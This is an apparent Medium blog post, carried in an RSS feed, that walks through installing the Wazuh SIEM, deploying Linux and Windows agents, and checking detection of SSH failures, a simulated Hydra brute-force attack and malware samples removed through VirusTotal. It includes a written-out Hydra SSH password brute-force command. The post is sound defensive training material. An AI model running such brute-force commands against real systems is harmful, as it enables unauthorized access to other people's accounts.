height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hands-On Wazuh: From Installation to Real Threat Detection]]></title>
            <link>https://medium.com/@withbimatara/hands-on-wazuh-from-installation-to-real-threat-detection-7184b52db34a?source=rss-2e1740e3c341------2</link>
            <guid isPermaLink="false">https://medium.com/p/7184b52db34a</guid>
            <category><![CDATA[wazuh]]></category>
            <category><![CDATA[hands-on-tutorials]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[incident-response]]></category>
            <dc:creator><![CDATA[Muhammad Bimatara I]]></dc:creator>
            <pubDate>Fri, 07 Jun 2024 16:33:29 GMT</pubDate>
            <atom:updated>2024-06-07T16:33:29.577Z</atom:updated>
            <content:encoded><![CDATA[<p>Do you ever wonder how fast the internet is growing and how rapidly cyber threats are evolving alongside it? In an era where cyber threats are becoming increasingly fast, protecting your digital infrastructure has never been more critical. Traditional security measures often fall short in identifying and mitigating these advanced threats. This is where Security Information and Event Management (SIEM) solutions come into play, providing extensive visibility and proactive threat detection. Among the leading SIEM solutions, Wazuh stands out for its open-source flexibility and so many feature that has been set. In this article, we’ll walk you through the complete process of installing Wazuh, configuring it to your needs, deploying an agent, and even testing its capabilities with real threat detection. Prepare to elevate your cybersecurity defenses to the next level with <strong>Wazuh</strong>.</p><h3>What is Wazuh?</h3><p>Based on their official website and their repository, Wazuh is an open-source security monitoring platform designed to provide comprehensive threat detection, incident response, and compliance management across your IT infrastructure. It integrates Security Information and Event Management (SIEM) and Extended Detection and Response (XDR) capabilities, offering powerful tools for monitoring, alerting, and analyzing security events. Wazuh is highly scalable and customizable, making it suitable for organizations of all sizes. It supports real-time data collection from various sources, including cloud environments, on-premises systems, and network devices, enabling a holistic view of your security posture. With its robust feature set, Wazuh helps you stay ahead of cyber threats by providing timely insights and facilitating efficient incident response.</p><h3>Wazuh Server and Wazuh Agent installation</h3><p>In this case, i will use three instances for make this scenarion works well. For The first instance I use is a GCP virtual machine, which I will set up as a Wazuh Server, with the following specifications:</p><ul><li>Ram: (4 vCPU, 2 core, 16 GB memory)</li><li>OS: Ubuntu 22.04.4 LTS</li><li>Disk: 50 GB</li></ul><p>For the rest of instances, i am gonna used it as a agent, so there are will be 2 agents that i used in this scenario, the first agent is windows based (i used my own pc for this), and for the second agent is a Linux based GCP virtual machines with this following specification:</p><ul><li>Ram: (2 vCPU, 1 core, 8 GB memory)</li><li>OS: Ubuntu 20.04.6 LTS</li><li>Disk: 50 GB</li></ul><h4>Wazuh Server</h4><p>Next up, we are going to install Wazuh Server on the first instance. Based on to their <a href="https://documentation.wazuh.com/current/quickstart.html">installation website</a>, you can do an easy installation with a single command. Type this into your terminal:</p><pre>curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh &amp;&amp; sudo bash ./wazuh-install.sh -a</pre><p>This command will automatically install and configure your Wazuh Server, Wazuh Indexer, and Wazuh Dashboard on your instance. After you run the command, a message will appear in your terminal indicating whether the execution was successful or not. If your installation was successful, the message should look like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HmoTlTwj440X_Fx45EAdxg.png" /><figcaption>Success Installation</figcaption></figure><p>In the message above, you will see the username and password for your Wazuh Dashboard. You can access your Wazuh Dashboard using the following link: https://&lt;instance-ip-address&gt;:443. Since I used GCP for the Wazuh server, my IP address will be the public IP of my GCP instance. When you access the link, the dashboard should look like this if the installation was successful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pY8yxyXiHv9ECFvcFY8EXQ.png" /><figcaption>Wazuh Dashboard UI</figcaption></figure><p>Once the dashboard has loaded successfully, we can proceed to the next step, installing the Wazuh Agent.</p><h4>Wazuh Agent</h4><p>First, we are going to install the Wazuh agent on the first instance, the Linux instance. Installing the Wazuh agent is quite simple, you just need to follow the instructions on the deploy agent page on your Wazuh dashboard and copy the command, and execute them into your Linux terminal. After that, you just need to reset the Wazuh agent service as the dashboard instructs. Here is the example of the deploy agent page and the command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i8MGm3asqqK888NenSPc4w.png" /><figcaption>Agent Deploy</figcaption></figure><p>Make sure to adjust the required fields according to your needs for the Wazuh agent. For example, if you are using Windows, choose the Windows installation. Don’t forget to fill in the IP address with your Wazuh server’s IP address. Then, copy the provided command into your Linux terminal. Here is an example of the command:</p><pre>wget https://packages.wazuh.com/4.x/apt/pool/main/w/wazuh-agent/wazuh-agent_4.7.5-1_amd64.deb &amp;&amp; sudo WAZUH_MANAGER=&#39;xx.xx.xx.xx&#39; WAZUH_AGENT_GROUP=&#39;default&#39; WAZUH_AGENT_NAME=&#39;put-your-agent-name-here&#39; dpkg -i ./wazuh-agent_4.7.5-1_amd64.deb</pre><p>After you run the command, if you have a permission issue, you should execute it with administrator access, and it should resolve the permission issue. Subsequently, if the agent count in your Wazuh dashboard is still zero, but you think you have already executed the command, you should check the firewall configuration. Due to Wazuh agent installation, you should open ports “1514, 1515, and 5500” on both sides, agent and server, so they can communicate and your agent count can increase to one in your Wazuh Dashboard. Additionally, you can check your connection to your Wazuh server by running this command on the agent side.</p><pre>nc -zv &lt;your-server-ip&gt; 1514 1515 55000</pre><p>If the command indicates a successful connection, everything should be working well!</p><p>For the Windows agent, the instructions are similar to those above. I can summarize them as follows:</p><ul><li>Go to agent deployment page on the wazuh server.</li><li>Fill in or adjust the required fields according to your needs.</li><li>Copy and execute the provided command.</li><li>Restart the service.</li></ul><p>As I mentioned earlier, if the agent count doesn’t increase, you should check your Windows firewall and make sure that the necessary ports are allowed, and make sure to run the command with privileged access. Here are the command for test your connection with wazuh server on windows.</p><pre>(new-object Net.Sockets.TcpClient).Connect(&quot;&lt;your-server-ip&gt;&quot;, 1514)<br>(new-object Net.Sockets.TcpClient).Connect(&quot;&lt;your-server-ip&gt;&quot;, 1515)<br>(new-object Net.Sockets.TcpClient).Connect(&quot;&lt;your-server-ip&gt;&quot;, 55000)</pre><p>After succesfully connected two agent with your Wazuh server, your agent dashboard should be look like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NJtA1oAjW2LZI9wNxeSM-g.png" /></figure><p>That’s all for the server and agent installation. Let’s move on to the exciting part, analyzing threats in the agent using Wazuh.</p><h3>Analyzing Threats</h3><p>We are going to analyze two different instances: a Linux instance and a Windows instance.</p><h4>Linux Instance</h4><p>First of all we are gonna focused up on the linux server, After letting the Wazuh agent monitor my Linux instance for 3 days without intentionally launching any attacks, the Wazuh server has already detected several events occurring on the instance. Here is the <strong>“Security Events”</strong> dashboard view of the Linux agent after being left for 3 days:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WPzGzYjj30Cye0jRTx9anA.png" /><figcaption>Server Event Information</figcaption></figure><p>As we can see here, there are over 16,000 events that occurred within 3 days. Without any intentional attack on the machine, according to previous information,<strong> <em>16,775 out of 16,988</em></strong> events were SSH authentication failures. This is likely because I was trying to access my instance from my local computer using SSH, but my local public key was removed from the Linux instance. As a result, my local machine repeatedly attempted to log in to the Linux machine. As can be seen, the events that occurred, aside from authentication failures, are all related to SSH like example “Maximum authentication attempts exceeded”, “sshd: brute force trying to get access to the system. Non existent user”, and so on. Therefore, we will try to analyzing another type of event.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fVNjiagwkoauIQwHfrF0Nw.png" /><figcaption>Password Changed</figcaption></figure><p>There was another event that Wazuh captured when I tried to change my password. In this scenario, I also changed my SSH configuration. Wazuh can detect any login information, and if a user password is changed, it will be detected. If someone changes your password anonymously, it will also be detected. Lets move on to the real attack simulation.</p><p>In the next attack, we will perform a brute force attack on SSH password authentication. In this scenario, I will use the Hydra tool to execute the attack. This attack can only be executed if password authentication is set to “yes” in the SSH configuration. For experimental purposes, I have already created a new user to be targeted in the brute force attack. Here is the command payload for the brute force attack on SSH:</p><pre>hydra -l bitici -P rockyou.txt &lt;server-ip&gt; ssh -V</pre><p>When we execute the command, the Wazuh server notices something suspicious and generates a new event called &quot;syslog: User missed the password more than one time.&quot; In this case, we know that someone is trying to brute force the SSH authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jGQ43fuc-ee8d0FwUuyZ1Q.png" /><figcaption>Event Occured When Running Hydra</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TFocjulQXDeUFdafajqAPA.png" /><figcaption>Password Find</figcaption></figure><p>Okay, that should be enough for threat detection on the Linux instance. Now, I will show the SCA (Security Configuration Assessment) score for the Linux instance after Wazuh has scanned it. According to the Wazuh Official Website, Security Configuration Assessment (SCA) is the process of verifying that all systems conform to a set of predefined rules regarding configuration settings and approved application usage. Here is my SCA score for the Linux instance:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*njyIFlhnZXVHcEt7J7_0Tw.png" /><figcaption>SCA Score</figcaption></figure><p>As you can see above my linux instances, The image shows the Security Configuration Assessment (SCA) results from the Wazuh dashboard for an agent running “CIS Ubuntu Linux 20.04 LTS Benchmark v2.0.0.” The overall results indicate that out of the total checks, 83 passed, 113 failed, and 14 were not applicable, resulting in a score of 42%. The scan was completed on June 7, 2024, at 12:02:23.000. The checks overview table lists individual checks with columns for ID (unique identifier for each check), Title (description of the check), Target (the command used for the check), and Result (status of the check). This summary provides an overview of the SCA results, highlighting the performance of the system against the specified benchmark and detailing the failed security checks.</p><h4>Windows Instances</h4><p>First of all, in this Windows instance, I will focus on two main aspects. The first aspect is the analysis of existing events that occur when the system is idle. This will help us understand the baseline activity and detect any anomalies. The second aspect is integrating my Windows system with VirusTotal to enhance the security and threat detection capabilities. By doing this, we can ensure that any potential threats are quickly identified and addressed. Here are the event that occured during my idle time in my windows instance:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YGdwNLXzbqDUNcfbdfSJSw.png" /><figcaption>Windows Event</figcaption></figure><p>As you can see above, there are over 2000 events occurring during two days of idle time. In this case, the most common event was a successful Windows logon, which means that if someone logs into your instance, Wazuh can detect it. This is kinda useful for monitoring of unauthorized access attempts or tracking user activities. Besides that event, there are also other significant events indicating various system activities. For example, an event showing that a software protection service was scheduled successfully, means Wazuh can detect that your protection service is functioning correctly. This level of detail provides notice that our security measures are active and working as intended.</p><p>Let’s move on to another analysis process. In this part, I will integrate my Windows Wazuh agent with VirusTotal. This integration allows Wazuh to easily report any malware downloaded onto my instance and remove it from my Windows system. To integrate my Wazuh agent with VirusTotal, I followed the excellent Wazuh instruction documentation for integrating with VirusTotal, which you can access through this <a href="https://documentation.wazuh.com/current/proof-of-concept-guide/detect-remove-malware-virustotal.html">link</a>. In that tutorial, we focus on detecting malicious software in the “Downloads” folder. So, every time malware enters the Downloads folder, it will automatically be removed using the remove-threat.py script that I created by following the tutorial. This script ensures that any detected threats are promptly dealt with to prevent any potential damage.</p><p>Furthermore, after the malware is removed, it will automatically be reported to the Wazuh server. This reporting feature allows for real-time monitoring and alerts, ensuring that you are always aware of any potential security threats that are detected and handled by the system. This integration not only enhances security by promptly removing threats but also provides a comprehensive log of all malicious activities for further analysis and review. This way, you can maintain a secure environment and quickly respond to any security incidents. In this scenario, I will utilize malware samples provided by CyberDefender <em>(thanks to CyberDefender)</em>. Specifically, I will use malware obtained from Phobos labs and 3CX Supply Chain labs for analysis and testing purposes. When I download the malware sample and place it into the “download” folder, the Wazuh Server will automatically remove it and generate a new event in the Wazuh Dashboard. Here is the proof that the Wazuh dashboard has generated new events indicating that some malware has been deleted:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bojN6Gs1-QRYrCJ5xFHjbA.png" /><figcaption>Malware Removal 1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p7SfVNVoKtyIXc-8W73CZA.png" /><figcaption>Malware Removal 2</figcaption></figure><p>And here is the activity visualization for the last 15 minutes after I downloaded all the malware, along with the rules that have been used. The rule I used is “rule.id: is one of 554,100092,553,87105” and named as “Malware Sample”, which indicates malware detection and removal. The screenshot is shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lg8J1mQRv-It-8wE4RG3GQ.png" /></figure><p>As shown above, there are events indicating that a malicious file has been scanned by VirusTotal. The remove-threat.exe promptly removes it, accompanied by messages such as “VirusTotal: Alert — c:\users\&lt;user name&gt;\downloads\3cx.msi — 42 engines detected this file” and “active-response/bin/remove-threat.exe removed threat located at c:\users\&lt;users&gt;\downloads\3cx.msi”. This indicates that our integration with VirusTotal was successful.</p><p>In this windows instances, there is also SCA Score that i told it before this SCA Score indicates score for the Windows instance after Wazuh has scanned it. The SCA Score shown as below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NSTf9x4NcGVKkZCcKXZFWg.png" /></figure><p>As you can see above my windows instances, The image shows the Security Configuration Assessment (SCA) results from the Wazuh dashboard for an agent running “CIS Microsoft Windows 11 Enterprise Benchmark v1.0.0” The overall results indicate that out of the total checks, 125 passed, 266 failed, and 4 were not applicable, resulting in a score of 31%. The scan was completed on Jun 7, 2024 @ 20:11:55.000.</p><p>Last but not least, I’m going to show you all my agent dashboards from my Linux instance and Windows instance. Here is the screenshot below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-VBJwdHYRg25fEiU_mroNw.png" /><figcaption>Windows Dashboard</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HQOLIqU7M2pDBpmbeEBeyg.png" /><figcaption>Linux Dashboard</figcaption></figure><h3>Credits:</h3><ul><li><a href="https://documentation.wazuh.com/current/index.html">Wazuh Documentation</a>.</li><li><a href="https://github.com/arsitektur-jaringan-komputer">Netics Laboratory</a> for providing a great Blue Team Training.</li><li><a href="https://cyberdefenders.org/dashboard/">CyberDefender Labs</a> for providing the malware sample.</li><li><a href="https://cloud.google.com/">Google Cloud Platform</a> for providing great virtual machines</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7184b52db34a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>